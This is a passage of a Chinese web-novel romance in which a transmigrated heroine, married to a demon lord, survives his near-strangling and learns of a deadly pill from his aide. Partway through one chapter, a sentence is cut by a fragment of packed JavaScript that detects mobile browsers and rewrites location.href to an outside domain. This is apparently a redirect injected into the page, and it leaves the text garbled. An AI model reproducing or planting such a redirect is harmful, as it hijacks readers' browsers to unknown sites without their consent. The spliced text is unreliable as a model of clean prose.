“你……可不可以先回去一趟。” 羿逸安看着眼前双眼泛红的文可烟,他的心像是被灼伤了一般,烫得他一痛。那一刻,心中对文可烟私自出现在这里的的怒气与冷漠消散了大半。 可他依旧一动不动,一句话也不说,表情也冷漠得过分,甚至连一个眼神都没分给她。 羿逸安只一味地垂眸,不知道在看什么。 文可烟凝视着眼前这个如此陌生的羿逸安,心中被一股复杂难辨的情绪紧紧缠绕,越缠越紧、越缠越痛……似乎有无数的丝线在撕扯着她的心扉,让她本就碎掉的心更加破碎。 一周的时光,足够他改变。 文可烟的嘴角不禁泛起一抹苦笑,那笑容里藏着对人性虚伪与贪婪的深深讽刺。 她脑海中也不受控地浮现出那个世界里人们 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羿逸安的手臂僵在身侧的半空中,微微颤抖着,像是在和内心的挣扎做最后的抗争。他的嘴唇紧紧抿成一条线,将所有的情绪都压抑在心底。 在场众魔并未察觉到背对着他们的文可烟内心的翻涌与挣扎。他们只专注于眼前的局势,只能从尊上此刻紧绷的面容上看出一些端倪。眼见魔尊并无要帮文可烟的打算,他们的咄咄逼人变得更加肆意妄为。 那些魔族的喧嚣与挑衅,如同锋利的刀刃,一刀刀切割着文可烟的神经。耳边嗡嗡作响,她只想尽快逃离这片喧嚣与纷扰,寻得一丝宁静与安宁。 “杀!杀!杀!” …… 魔族的怒吼声此起彼伏,其中夹杂着刺耳的质疑。 “你敢说,你来这里毫无目的?” “对啊,谁不知道天界那些虚伪之辈,急于将新娘拱手送给我们的尊上,背后藏着什么心思?” “一个不成,又送一个,一个接一个,没完没了了,还……” “……” 文可烟被这一帮魔吵得心烦意乱、头疼欲裂,她紧蹙着眉,只渴望能迅速让这群人噤声,还她一片宁静,让她独自离去。 她深吸一口气再缓缓吐出,似乎想要将所有的不耐烦与疲惫都吐出去。 紧接着,她用尽全身的力气,大声喊道:“之前没有!但现在有!” 话语落下,议事阁内瞬间静谧得如同置身于乱葬岗。不过,这份静谧并未持续太久,接着便是一阵哄笑声。 那些魔族们相互对视着,脸上露出嘲讽的笑容,好似在看一场好戏。 大长老的声音冷冽如冰。 “既然已经承认,还不速速拿下!” 羿逸安的面容却比先前更加阴沉,他的声音坚定而有力,如同山岳般不可动摇。 “娶过来,她就是本座的妻子,一直都是本座的妻子。” 众人尚在困惑之中,羿逸安再次开口,每一个字都如同重锤,敲击在每个人的心上。 “此生,绝不再娶。” 他的这句话在议事阁内回荡,久久不散。 16. 微倾(七) 这句话,对于其他人或许只是简单的宣告,但对于大长老而言,却透露出另一层深意—— 即便文可烟身死,羿逸安亦不会再有续弦之意,这意味着魔族将再无后继之君。 大长老抚摸着他那胡须,眼神中闪过一丝忧虑,但瞬间又恢复了那副严肃模样。 文可烟的脸上写满了愕然,她从未料想过,最终竟是羿逸安紧握着她的手,带她逃离了那座充满敌意和压抑的议事阁。 她被羿逸安半搂着,整个人呆愣着,脑袋完全不能自主思考,只是下意识侧目看着羿逸安,耳边反复回响着他那掷地有声的话语。 一辈子是他妻子,此生不会再娶? 这句话如同一道惊雷,在她的心头炸响,让她陷入了更深的迷茫与困惑。 可他……刚刚……他还一副冷漠陌生、拒人于千里之外的模样,为何会如此坚定地站在她身边,还说出这般深情的话语? 突然,一道微弱的白光一闪而过,渐渐没入在羿逸安的胸膛。若仔细观察,还能发现那白光中蕴含着更为细腻的五彩斑斓。 文可烟偷偷用余光瞥向羿逸安的侧脸,只见他紧绷的嘴唇抿成一条直线,浑身散发着一种拒人于千里之外的冰冷气息。 可原本一张冰塑脸在此刻却像被阳光穿透的云层,隐隐有着如太阳般有无线光芒。 恰在此时,羿逸安突然转过头来看向她。文可烟心中猛地一揪,慌乱之中,她连忙移开视线,装作不经意地环顾四周。这才惊觉,他们已然回到了魔族净地。 可为何,她要躲避他的目光? 文可烟自己也说不清楚,此刻她无法分身乏术顾及这些,她的目光已被那张熟悉的床榻紧紧牵引。 文可烟的心再次紧绷,快步上前,急切地想要确认白酒的安危。 可床上哪还有白酒的身影? 空荡荡的床铺,如同她此刻空落落的心。 文可烟脑海中回荡起白酒之前说过的话,关于小黑屋是其能量之源的秘密。想到这里,她心中的焦虑稍稍缓解,但仍有一丝挥之不去的不确定萦绕心头。 她缓缓地靠近此刻态度冷得可怕的羿逸安,每一步都走得小心翼翼。 “白酒……应该没事了吧?” 羿逸安的脸色阴沉得可怕,似乎能拧出水来。他的眼眸中闪烁着难以捉摸的怒意,如同暴风雨前的宁静,令人不敢靠近。 文可烟虽感受到了羿逸安身上强烈的压迫感,但她还没有得到任何回应,只好硬着头皮,小心翼翼地绕到他的身前。 刚一面对羿逸安那张从未有过的冰冷面容,文可烟心中一怂,怂得彻底,开始语无伦次地疯狂解释起来。 “我……我没有想要杀你,真的,一开始真的没有……” 说到这里,她似乎突然意识到了什么,话语一顿,又急忙补充。 “不对,从头到尾都没有,之所以说现在有,是因为……” 话到嘴边,文可烟突然戛然而止,她猛地回过神来,自己为何要如此慌乱地解释?这不正是她一直所期盼的吗? 激怒羿逸安,然后被他亲手终结生命……这本该是一个皆大欢喜的结局。 可……为何刚刚,当看到羿逸安那冰冷又带着一丝复杂的眼神时,她的心中却升起一丝不愿看到他难过的情绪? 就在这时,系统的声音适时响起,听起来还带着一丝兴奋与激动。 【恭喜宿主,好感度上涨至15%,请继续加油。】 羿逸安突然开口,声音听上去还有些沙哑。 “不是让你待在那儿不要出来吗?” 文可烟被他这一声突如其来的低吼吓得浑身一颤,站在原地,双手背在身后绞在一起,手足无措。 此刻,她的脑海中像是有两股声音在激烈地碰撞,一片混乱之中,她几乎失去了思考的能力。 好感度……为何……一下子涨了这么多? 她…… 文可烟还未来得及细想,脖颈处似乎被一层轻柔却冰凉的薄纱轻轻缠绕。 一股难以言喻的凉意,宛如一条刚从冰窟中爬出的蛇,沿着肌肤攀爬而上。 文可烟本能地想要躲开,可身体却被定住了一般,无法动弹。 就在她满心惊惶之时,那股凉意有了更实在的触感。她这才惊觉,这哪是什么薄纱,分明是一只手!一只修长而有力、指节分明的手,此刻正轻轻搭在她的脖颈上。 顺着这手向上看去,映入眼帘的正是羿逸安那棱角分明、平静冷漠的脸庞。 这只手看似轻柔地搭着,却让文可烟感受到了一种难以言喻的压迫感。好似只要羿逸安轻轻一用力,自己的生命就会瞬间结束。 羿逸安通过手感受着文可烟脉搏传递的跳动,一下一下撞击着他的手心。 他垂眸,目光如同月光下静谧的湖面,深邃而冷冽,细细地审视着她颈间细腻的肌肤,以及那在月光照耀下,显得格外柔美的细小绒毛。 目光在文可烟颈间缓缓流动,细小的青紫血管在她白皙的肌肤下若隐若现。此刻在他手下显得如此可怜,又如此脆弱,轻轻一碰似乎就会碎掉…… 片刻后,他的拇指顺着那血管的脉络轻轻摩挲着文可烟敏感的肌肤,轻柔且缓慢…… 这一切的一切都透露出一丝不寻常的意味。 文可烟感受到羿逸安手心的温度,以及他指尖传来的轻柔触感。她的心中突然涌起一股莫名的情愫,她在害怕他下一秒就会用力斩断…… 这一刻,她竟然产生出一种不想死的错觉。 这个荒谬的想法如破土的新苗,一旦冒出了头就再也收不回来了。 于此同时,她的双手也本能地掰住了羿逸安的手。 那是一种出于自保的本能反应。 她的手指紧紧扣住他的手腕,指甲几乎要嵌入他的肌肤。 可她为何会有这种求生欲望? 羿逸安的意识在黑暗中徘徊,如同迷途的羔羊,找不到归途。他能清晰地感受到自己的情绪正在失控的边缘徘徊,却如同雾里看花,始终看不真切。 周围的一切都变得模糊起来,只有文可烟的身影在他眼前愈发清晰。 那些曾经被大长老灌输的“杀戮即解决之道”的观念,在此刻却如同遥远的星辰,遥不可及。他心中涌动的,是一种前所未有的抵触与挣扎,那是对文可烟的不舍,是对自己多年杀戮本能的抗拒。 可最终……他还是那样做 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正当她思绪纷飞,脑海中各种念头交织之际,耳边突然传来了羿逸安低沉而略带沙哑的声音。那声音像是从遥远的梦境中传来,带着一丝不可捉摸的寒意。 他不知何时已悄然靠近,嘴唇几乎贴着她的耳畔,温热的气息喷洒在她的肌肤上,惹得她一阵酥麻。 他用只有她能听见的音量呢喃:“看来……你好像不太想死啊!” 羿逸安的语气里,似裹挟着难以言说的遗憾,可他那迫人的气场却强大得让文可烟有些喘不过气来。 文可烟只觉得自己的心跳陡然加快,双手不自觉地握紧。 也不知道这激烈的心跳是因为对死亡的恐惧,还是因为羿逸安这磨人的气息,又或是因为他那蛊人的声音…… 她只觉得自己今日大概就要咔嚓在这儿了。 这样的结果,放在以往,或许会让文可烟心生欢喜,因为那意味着解脱,意味着结束。但此刻,它却像一把无形的利剑,直刺入她的心房,刺痛的感受微小却难以忽视。 羿逸安那凶狠的眼神,让她不禁闭上了眼睛,长长的睫毛微微颤抖着,等待她一直期待着的那一刻的到来。 等来的,却不是脖颈间力道的收紧,而是那仅有的微弱力量也消失不见。 文可烟等了片刻,疑惑地睁开眼,眼眸中闪烁着懵懂与不解。她眼波流转,浅褐色瞳孔里显示着羿逸安的背影。 羿逸安离文可烟有些距离,月光如细纱般洒在他的身上,为他披上了一层模模糊糊银白的战袍,衬得他也雾蒙蒙的,让人看不真切。 但即便如此,文可烟却在他背影中看出几分孤寂与无助,好似整个世界都离他而去,只留他一人在这寂静的夜色中徘徊。 如果再观察得仔细点,还能发现他的身体在轻微颤动,似乎在努力克制着什么。 他竟然没化作一缕青烟直接消失? 片刻后,文可烟见羿逸安还没有动作,便犹豫着问出她一直担心的问题。 “白酒应该没事吧?” 羿逸安身形一顿,文可烟的问话似乎在提醒他的可笑。 他怔怔地站在那里,周围的一切都变得模糊起来,唯有前方湖面透出的隐隐光亮,在一片黑暗中闪烁。 17. 微倾(八) 光亮映在羿逸安的眼眸中,却照不亮他心底的迷茫。 其实他自己也不明白为何要等在这儿?是想从她口中听到“不想”二字,满足自己内心那微不足道的私欲?还是其他什么……可……他不知道…… 最终的最终,文可烟并没有得到羿逸安的回答。 羿逸安融入了那片寂静的夜色之中,好似早在他松开手那一刻便已离开,从未停留、从未存在过一般。 文可烟静静地伫立在原地,目光呆呆地望着那夜色,望着那抹夜色,久久未回神。夜风轻轻拂过,撩动着她的发丝,可她却浑然不觉。 等她真正从思绪中回过神来时,才猛然察觉到一丝不对劲…… 就在她睁开眼睛的那一瞬间,脑海中首先闪过的,并非羿逸安竟然没有杀她,而是他竟然还没有离开? 她……下意识的反应,难道已经在不知不觉间,觉得他不会杀自己到如此地步了? 这个认知让她不禁有些愕然,思绪在脑中翻滚不息。她隐隐觉得自己好像忽略了许多重要事情,但当下,让她最揪心的,还是白酒是否安好。 电光火石之间,自己是如何被羿逸安带回来的的画面,一帧一帧的在脑海中细细回放…… 突然,一个关键的细节跃入她的脑海。 !!! 她记得当时有一道微弱的白光一闪而过,渐渐没入在羿逸安的胸膛,那白光中还蕴含着很细腻的五彩斑斓…… 她初见白酒时,好像就是看到了这样的色彩。想到这一点,文可烟莫名地松了口气,心中那沉甸甸的担忧稍微减轻了几分。 也许是因为今天她的情绪波动很大,也许是因为她今天哭了太久,又或许是因为今天接收到的信息量实在太大……在确认白酒应该无碍后,她终于支撑不住,浑浑噩噩走到床边,一头栽倒在枕头上,直接陷入了沉睡。 * 自从那日后,文可烟隐隐有种感觉。 她觉得,羿逸安大概是不会再遵守他们之前的约定,白酒也不会再出现在她身边陪着她。她将一直以一个人的姿态被困在这一方净地,就和之前一样……一切不过回到了起点。 一切如她所愿,她终于又回到了一个人的世界;却又如她所惧,那种拥有过后再失去的痛苦。 第二日的清晨,文可烟和往常一样,毫无欲望静静地坐在椅子上,望着窗外的景色发呆。她的表情依旧淡漠,她的眼神依旧失焦。 模模糊糊间,她余光注意到膳桌上有一封信。 一开始,她下意识以为这封信是羿逸安写给她的。 毕竟,能这么自由出入这片净地的,除了他,还会有谁呢? 她指尖虚虚地拿起信件,脑海中开始冒出一个个猜想。 他或许已经不会再见她了吧。那他会写些什么呢?是告知她将一辈子被困在这儿?还是…… 文可烟白皙的手指轻轻搭在信封的边缘。她低垂着眼眸,长睫在眼眶处投下淡淡阴影,就这样默默地盯着那封信看了良久。 这一刻,她居然有些不敢打开这封信。 指尖一顿,缓缓打开信封,她并没有猜对。 这封信并不是羿逸安写给她的,而是芯核写给她的。 信上,芯核那娟秀的字迹清晰地写着,她会在一炷香后接自己去散心。 文可烟微微蹙眉,虽有些疑惑,还是应约了。 说不定还能从芯核口中听见关于白酒的事。 一炷香的时间转瞬即逝,文可烟紧握着那只狐狸吊坠,按照芯核的指引来到了结界处。 刚穿过结界,文可烟眼前一亮。 芯核一身……与往常截然不同的装扮,不再是干练得有些冰冷的衣装,而是一套衣裙。上面的刺绣花纹在烛光下若隐若现,完全不像是魔族的服装风格。裙摆随着风轻轻飘动,给文可烟无光的眸光里添了几分色彩。 芯核静静地待在在原地,看样子已经等了有一段时间了。芯核反常地没有恭谨地两手交握朝她行礼,只微微侧身,淡淡地喊了一声:“小殿下。” 文可烟神色平淡地瞥了一眼芯核,却又很快移开视线,默默跟在芯核身后。 按理说文可烟一般是不会这般相信一个人的,可好像她潜意识里觉得羿逸安似乎很信赖芯核。而且就算芯核要害她,芯核应该也会给她来个痛快,不至于用那些折磨人的手段。 文可烟脚步不自觉放慢,眼睛忍不住偷偷打量芯核的背影。 不知不觉间,文可烟已走进了一片与魔族截然不同的领域。这里的风景虽然与魔族有些相似,却又透露着一种难以言喻的异样感。 这里的天空昏昏沉沉的,像是被一块巨大的灰色幕布笼罩着,没有一丝阳光的透出。四周满目疮痍,零零散散的破烂物件,断壁残垣随处可见,像是常年打仗后而造成的景象。 残垣上的砖石已经斑驳陆离,有的还残留着干涸的印迹,颜色诡异,不似寻常血迹,而是一种紫得发黑的色调。凑得近了,一股淡淡的腐朽味扑鼻而来。 文可烟不自觉地抬起手指轻轻挡在鼻息间,精致的眉眼间满是不适应,浑身上下无一出不彰显出她的些许抵触。 芯核不知何时已跟在文可烟身侧,偏过头凝视文可烟,抢先一步解释道。 “这是魔族和妖族的交界处。” 文可烟听后,心中微微一震,再次环顾四周,不确定地重复了一遍。 “魔族和妖族?” 芯核回头望向文可烟,眼神严肃且认真。 “对。” 文可烟嘴唇微抿,平静回望。她心中的疑惑更浓了,表情却依旧淡然。 “可……为什么会带我到这儿?” 她不明白芯核为什么会带她来到这个地方,正如她不明白芯核今日为何会约她相见。 芯核没有立刻回答,而是继续背过身往前走,那姿态从容又散漫,像是对这里十分熟悉。 文可烟看了眼四周,旁边连半个人影也没,她的心似乎也感受到这片荒芜,跟着揪紧,只能缓步默默地跟上。 芯核在这片交界处似乎换了一个状态,与在魔界时的冷漠截然不同。 在这里,芯核更为游刃有余,也更为随性自在。她不再是魔界中那个用冰凉伪装自己的芯核,而是一个活生生的、有血有肉、情感丰富的存在。似乎这才是她真正的模样,又或是这里本就是她灵魂的归宿,能让她释放出最真实的自己。 文 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芯核径直走到食案边,拿起茶壶,手腕轻轻一扬,热茶便精准倒入茶杯中,接着她又麻利地整理起桌椅,毫无陌生之感。 文可烟门口,呆愣地看着芯核熟练的动作,脚步迟迟没有再挪一步。 芯核整理之余,余光注意到文可烟杵在原地一动不动,她有些随意。 “坐啊!” 芯核的声音不羁又洒脱,就像是在邀请一个老朋友来家中做客。 文可烟嘴唇微微动了动,有些欲言又止,脚步迟迟没有移动。 “这……” 芯核像是看穿了文可烟的心思,给文可烟吃了一颗定心丸。 “这是我的屋子,所以放心坐。” 文可烟犹豫了一下,最终还是提步缓缓步入,在芯核对面坐了下来。 文可烟轻轻用双手捧起芯核给她倒的茶水,轻轻地抿了一口。茶香在口中弥漫开来,她的心情稍微平复了一些,紧绷的神经也渐渐放松下来。 她的目光开始在屋内四处游走,似乎在熟悉这陌生的环境,尽量从中找到一丝安全感。 “是所有魔族手下都住这儿吗?” 芯核却在这时笑出了声,声音清脆悦耳,似乎是被文可烟的天真逗笑了。 “当然不是。” 文可烟听着芯核开阔地笑声,也不自觉被感染,心中的好奇,愈发旺盛。目光转而移到芯核脸上,嘴唇轻轻动了动,似想问出口,却又有些顾虑,最终还是忍不住问了出来。 “那你……” 芯核爽朗打断了文可烟的犹豫。 “我喜欢住这儿!” “喜欢?” 文可烟的目光缓缓扫过这一屋的破败与简陋。墙上的木屑剥落,露出一些尖锐的小刺;桌椅也摇摇晃晃,似乎随时都会散架……再回想起一路走来的泥泞与坎坷。 她不明白,为什么芯核会喜欢这样一个充满战乱与不安的地方。 芯核没有继续回答文可烟的问题,屋内的氛围似乎因为这个话题顿时变得沉闷而压抑。 文可烟捏住茶杯,手指不自觉微微用力,她又缓缓地喝了两口茶。 18. 微倾(九) 其实,文可烟并不太在意芯核喜欢这里的原因,只是两人共处一室,一直沉默不语确实有些尴尬。 毕竟,这次是芯核带她出来的,她一直保持着沉默,多少显得有些不礼貌。 更何况,今日她不知为何,心中总有一股想要与人倾诉的冲动,特别想和其他人说说话。 文可烟目光有些尴尬地落在茶杯中,茶水清澈见底,倒映出她精致的容颜。卷翘的睫毛在倒影下显得格外分明,清纯的长相下却透露出一种难以言喻的魅力,能让人为止倾心,甚至能够祸国殃民。 这样的长相若是就这么消逝了……好像确实有些可惜…… 正当文可烟沉浸在自己的思绪中时,鼻尖突然传来一阵诱人的香气。她猛地回过神来,食案上已经摆满了一桌佳肴。 再晃眼用余光微微一瞥,芯核已站在她身旁,脸上恢复了在魔族时的那种规规矩矩、恭恭敬敬的态度。 文可烟缓缓抬眸,那本就无神的眼眸中满是征楞,此刻更添几分呆愣。 “你……不一起吃吗?” 芯核低垂着眼眸,态度疏离得十分明显。 “属下不饿。” 芯核转变得太快,快得让文可烟觉得刚刚那个自由散漫地芯核好似从来不曾存在过。 文可烟晃一眼芯核那冷漠的表情,捏着茶杯的那只手迟迟没有任何动作。指腹也被杯壁的温度焐得微微发红,可她却像是感觉不到一丝暖意。 茶杯里的茶水,还冒着热气,袅袅地上升,又渐渐消散,就像她此刻的思绪,纷乱而又迷茫。 杯底与桌面相碰,发出一声极轻的“咚”响,文可烟手中那早已没了热气的茶杯已放下。 她抬眸,轻声说道。 “你还是坐下吧。” 文可烟在试图用这种方式拉近与芯核之间越来越远的距离。 芯核闻言,抬头一瞬后,又迅速低下去,似乎闪过一分犹豫。 “属下……站着就行。” 文可烟有些不想刚刚那个自由散漫、充满个性的芯核就这么消失。 其实,更大的原因是……有人就这么直挺挺地站在旁边,眼睛盯着她吃饭,让她浑身不自在的。 虽说没有恶意,可总让她觉得自己像是被放在显微镜下观察的小虫子,浑身都不对劲。 文可烟逼迫自己忽略若有若无的视线,挑起一片翠绿的菜叶子,开始没话找话地聊起了一些琐事。 她其实心里一直惦记着白酒的事情,但这种事情,主动权最好还是掌握在自己手里。 若是芯核主动告诉她,那就意味着芯核也知道白酒的存在;可若是芯核不提,她更不能先一步提问,贸然暴露出白酒的秘密。 都出来这么长时间了,芯核一个字也未提及。显然,羿逸安并没有向她透露半分关于白酒的事情,她对白酒的事情一无所知。 想到这,文可烟微微在心里叹气。 “你们魔族不会吃饭吗?” “会。”芯核隔了一会儿才回答,像是在回忆什么,然后补充道,“但尊上其实不怎么爱好口腹之欲,所以属下没见过他进食。” 突然听到“尊上”二字,文可烟的心猛地一紧。缓缓将菜叶子塞进嘴里,动作有些缓慢。 咀嚼的动作停顿片刻后,她盯着芯核,忍不住好奇地问。 “那他有爱吃的东西吗?” 芯核语气平静回道:“属下不知。” 文可烟轻轻咀嚼起刚刚那片菜叶子,表情有些遗憾。那抹遗憾十分微小且短暂,却真实存在。 “啊,连你都不知道。” 空气再次沉寂下来,文可烟咬着筷子,目光在食案上扫来扫去,样子看上去有些为难。 “那个……你们魔尊……之前……娶了很多任吗?” 说完,她低垂眼眸,故意不去看芯核的表情。 芯核的脸上闪过一丝为难的神色,转瞬即逝。 “也……不能算娶吧。” “……不能算娶?她们之前难道不也是像我这样,举办了成亲仪式?” “回禀小殿下,她们都没有与尊上举行仪式。” 文可烟回想起之前在一顿嘈杂声中听到的声音。 ——“一个不成,又送一个,一个接一个,没完没了了,还……” 那些话语似乎还在她耳边回荡。 文可烟手指不自觉摩挲着衣角。 “所以……之前确实有很多女子被送到这里,是吗?” 芯核的目光在文可烟的脸上停留了片刻,随后,认真且面无表情回复。 “属下只知道小殿下是第三任。” 文可烟重复道,声音低得如同呢喃。 “第三任……” 结合之前那些只言片语,她回忆起自己还没见羿逸安之前,吃过一枚药丸,难道……? 文可烟像是想到什么至关重要的事,突然抬起头,目光灼灼地看着芯核。 “那你们魔族有毒药吗?就是类似赐死别人用的毒酒,之类的都行。” 她越说越急,语速随之也越来越快。 芯核的眼中闪过一丝诧异。她本来不打算透露任何关于魔族内部的事情,毕竟这是魔族的秘密,一旦泄露,后果不堪设想。 芯核的目光落在文可烟那张淡然无波的脸上时,脑海中又不由自主地浮现出尊上对待小殿下的种种不寻常之处……她也是尊上唯一的妻子…… 或许,告诉小殿下也无妨吧。 这一个上午是单独相处时光,芯核自己也不知不觉间对这个小殿下萌生出一些不同于其他人的莫名好感。她觉得小殿下不会伤害羿逸安,也不会伤害魔族。 芯核沉默片刻,缓缓说道:“没有,在魔族,该死的人一般会立即斩杀,甚至不需要尊上亲自动手。不过……倒是有一枚特殊的……药丸” 文可烟听到这,一抹光亮瞬间划过她的眼眸。她身体不自觉前倾,迫不及待地知道后续。 “一枚什么药丸?” “属下只听说这枚药丸名为‘一线生机’,但关于它的具体功能作用,属下一无所知。” 文可烟的眉头微微蹙起,似乎在思考着什么。突然,她话锋一转。 “那为何前两位女子没有举办仪式?” 话题的突然转变让芯核微微一愣神,她凭借着本能迅速回答,声音依旧平稳。 “因为她们都吃了这枚‘一线生机’。” 芯核似乎意识到自己嘴太快,连忙补了句。 “不过小殿下……” 文可烟疑惑侧头,向芯核投出疑惑的目光。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423432|184831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “怎么?” “小殿下你应当是没有吃过的。” 文可烟轻嗤一声,随后反应异常敏捷地反问。 “你为何觉得我没有吃过?” 芯核沉默一瞬,最终还是选择了坦诚相告。 “因为吃下‘一线生机’的人无一生还。” 是吗?可她吃过啊,那她为什么没死呢? ——“药丸之事虽大,但凡事皆有轻重缓急。即便她是服下药丸后唯一幸存之人,是解开药丸秘密的唯一线索,但……” ——“宁可错杀一人,也不能放过一人,这道理,尊上理应比我更加懂吧。” 那日在门外无意间听到的话语,此刻竟十分合适宜地浮现在她脑海中。 文可烟垂下眼帘,遮掩住眼中的晦涩情绪,她好像明白了什么。 看来,那日所谈论的“她”,指的就是她罢。 所以……羿逸安一直容忍她,其实是为了破解“一线生机”的秘密? 文可烟想到这儿,沉默良久。 她缓缓端起那杯茶,手指轻轻摩挲着杯壁,那略显凹凸的触感让她稍稍回过神来。她轻呷一口,嘴唇因为茶水的滋润变得莹莹放光。 和芯核的聊天突然间变得索然无味,此刻那些话语在她听来,不过是无关紧要的嘈杂。 她现下也没了兴致去开拓其他话题,只是机械地咀嚼着饭菜,味同嚼蜡,干涩又无味。 在芯核看来,这或许只是小殿下的一贯做派罢了,在她印象里,小殿下对饭菜总是没有多大的兴趣。 她哪里知晓,文可烟今日的胃口,实际上比她刚来时好太多。而如今,她吃得这么艰难,背后的原因另有隐情,那个连此刻的文可烟都不甚在意的原因。 午饭后,芯核似乎有什么急事,匆匆和文可烟禀告一声后,她的身影便消失在门口。 小屋里现下又只剩下文可烟一个人,这和在魔族净地时一样,不过是换了一个地方而已。 这间小屋虽然简陋,但胜在离最混乱的地带还是有些距离,倒是十分清静。 或许这也是为什么芯核会放心让文可烟一个人留在这里的原因吧。 文可烟静静地坐在那里,背影看上去有些蔫蔫的,周围的寂静让这个房间的温度更低了。 她有些无聊地环顾四周,房间内空荡荡又有些简陋,十分萧条。 文可烟现在特别想找人聊天,弥补一下内心那种说不上来的变化所导致的空缺。 于是,她久违地唤来系统…… 文可烟双眼虚无,微微仰起头,整个人看上去就像正在发呆,那白皙的脖颈在昏黄的光线下显得格外修长。 “我记得,你之前说过原主无系无根。” 文可烟声音淡淡的,若有若无的,问出问题像是不经过大脑,随意脱口而出的。 【是的,宿主原身是一株无系无根的仙子绿萝。】 “可她怎会被天界派来与魔尊成亲呢?” 文可烟依旧淡漠,那精致的脸色没有丝毫表情。她就那样静静地立着,与周遭的一切都格格不入,对眼前的问题答案好似全然不在意,倒更像是在寻个由头与人搭话,好让自己从当下这令她有些烦闷、无所适从的状态里挣脱出来。 【她是被父母收养的。】 19. 微倾(十) 文可烟微微一怔,如死水般无神的双眼,竟像是被什么触动了一般,眸光稍微动了一下。 她缓慢地垂下头,额前几缕碎发也随之轻柔地滑落,像是想替她遮住那心底的情绪一般,只为将心中那突如其来的一抽而引起的酸涩感隐藏起来,不让它有丝毫外泄的可能。 嘴角勾起一抹极浅的冷笑,她轻声说着,声音低得几乎听不见。 “哦?是吗?” 原来……原来连这点都和那个世界一样…… 原来……即使穿越也逃离不了过去的阴影…… 文可烟本就无光的眼神变得愈发黯淡。 【是的。】 “那她的养父母……喜欢她吗?” 文可烟停顿一瞬后,有些倔强地抬头,眼神中终于多了些狠绝,抢在系统回答前,再次开口。 “喜欢她就不会让她嫁过来了。” 她像是在喃喃自语,又像是在和系统对话,每一个字都像是从心底挤出来的。 一样都是被嫌弃…… 【不对,夫人和小殿下都很珍惜她的。】 系统的回答让文可烟再次一怔,瞳孔微缩。她茫然地重复道:“都很珍惜她吗?” 文可烟嘴唇微微张开,却不知道该说什么,她似乎并不相信这句话。 【是的。】 文可烟冷淡一瞥,穿透一切虚伪的表象,直直地看向问题的本质。 “那为何会被嫁过来?” 【其中理由,牵扯种种,还得宿主你自己去找寻答案。】 文可烟再次淡然一瞥,语气平平,表情像是在看垃圾一般冷漠。 “那你这个系统有什么用。” 【呃,不过宿主,你居然开始好奇原主的过去了诶!我好像知道了什么不得了的事情。】 文可烟沉默一瞬,眼神有瞬间的闪烁,只一瞬眼神便恢复如常,波澜不惊。 “总得听听八卦吧,不然死又死不了,这一天天的得多无聊。” 【那你还有什么想知道,可以尽管问我,不过……我只能告诉你原书剧情。】 文可烟轻轻“哦”了一声。 陷入了短暂的沉默,房间里安静得只能听见窗外偶尔传来的几声清脆鸟鸣。 眼神缓缓飘向窗外,文可烟实在有些疑惑,在这样破败不堪、简陋至极的环境下,居然还能有鸟鸣。 窗外,一棵枯树的枝头,一只鸟正稳稳地站着,它微微低下头,用那小巧的喙细心地叼起一条虫,然后轻柔地喂到身边雏鸟的嘴里。雏鸟叽叽喳喳地叫着,小脑袋不停地晃动着,画面实在温馨。 文可烟只是淡淡地扫了一眼,便迅速转移了视线,嘴唇微微抿起,形成一道有些倔强的弧度。 “你的意思是为什么会被嫁进来,原书没写呗。” 【……】被戳穿了…… 文可烟不甚在意系统的答案,她的眼神开始在简陋的房间里游走,似乎在寻找着什么。 在系统以为她已经没有问题要问的时候,她开了口。 “你……” 文可烟有些犹豫,似乎是不知道该如何开口。 “……昨天说的……” “好感度已经15%了,是……” 【是真的!】系统貌似也受不了她的吞吞吐吐,抢先作答。 “……” “我的意思是,你当时……没故障?” 【……没有!宿主你真是太小瞧我了!】 “那你……那为什么突然就涨到15%了?” 【……】 文可烟没等到回答,似乎并没感受到系统无声的生气,继续没同理心用她那毫无起伏的语调说出如此伤系统心的话。 “不是吧,又出故障了!” 【数据就是这么显示的,好了,宿主,今日闲聊时长已尽,请宿主继续加油,完成主任务。再次提醒宿主,宿主攻略任务每达到20的倍数将会获得奖励。当然,中途还会有其他任务,如果完成,也会有相应的奖励。】 系统噼里啪啦一口气说完所有后,声音戛然而止,就像是自己主动掐断了电源。 “诶,等等!” 文可烟连忙喊道,就连着本该急切的语气,被她说出来,也是一份死气沉沉的语调。 但系统已经静音了,无论她怎么喊都没有再回应。 “……” 文可烟古井无波地吐槽:“好吧,又故障了。” 【没。】 文可烟听着这突如其来的回答,愣了一下,这才后知后觉地意识到,恬淡地问道:“你刚刚……这是生气了?” 【……】 系统再次沉默。 “还挺有脾气的。”文可烟语气十分冲和。 就在这时,芯核从门外走来,她的步伐虽稳,却透着微小的急切。 “小殿下,我们该回去了。” 芯核面相文可烟时表现得十分冷静,就好像刚刚只是出门进行了一场再平常不过的散步。 文可烟眼中闪过一丝诧异,她的眼神在芯核身上停留了片刻。 所以今日带她出门散心,只是为了让她来芯核家吃顿饭? 文可烟表面上依旧神色自若,并未显露出什么,轻轻应了一声。 “好。” 她还没放下心中的疑惑,这份疑惑很快就被另一种更强烈的情绪所取代。 芯核在回去的路上显得十分谨慎,没了过来时的松弛与轻松。她的眼神时刻警惕地扫视着四周,但凡有一丝轻微的响动,芯核便会单手以保护的姿态挡在文可烟身前,似乎随时准备应对突发事件。 发生多次后,文可烟被芯核的紧张情绪所感染,也不得不放下心中的疑惑,开始变得小心翼翼起来。 她紧跟在芯核身后,每一步都走得异常谨慎,生怕自己的一个不小心就会打破这份微妙的平衡。 快到魔界净地的结界处时,芯核的紧张情绪在这时达到了顶峰。原本紧绷的身形一闪,再一次单手稳稳地挡在文可烟身前。这一次的动作更为贴身,几乎将文可烟完全护在自己的怀中。 芯核手指轻挥,一道微光闪过,十分迅速地在文可烟头上施了一个隐匿气息的法术,一瞬即逝。 在芯核的示意下,她们轻手轻脚地后退至之前的拐角处,躲进了一片深邃的阴影之中。 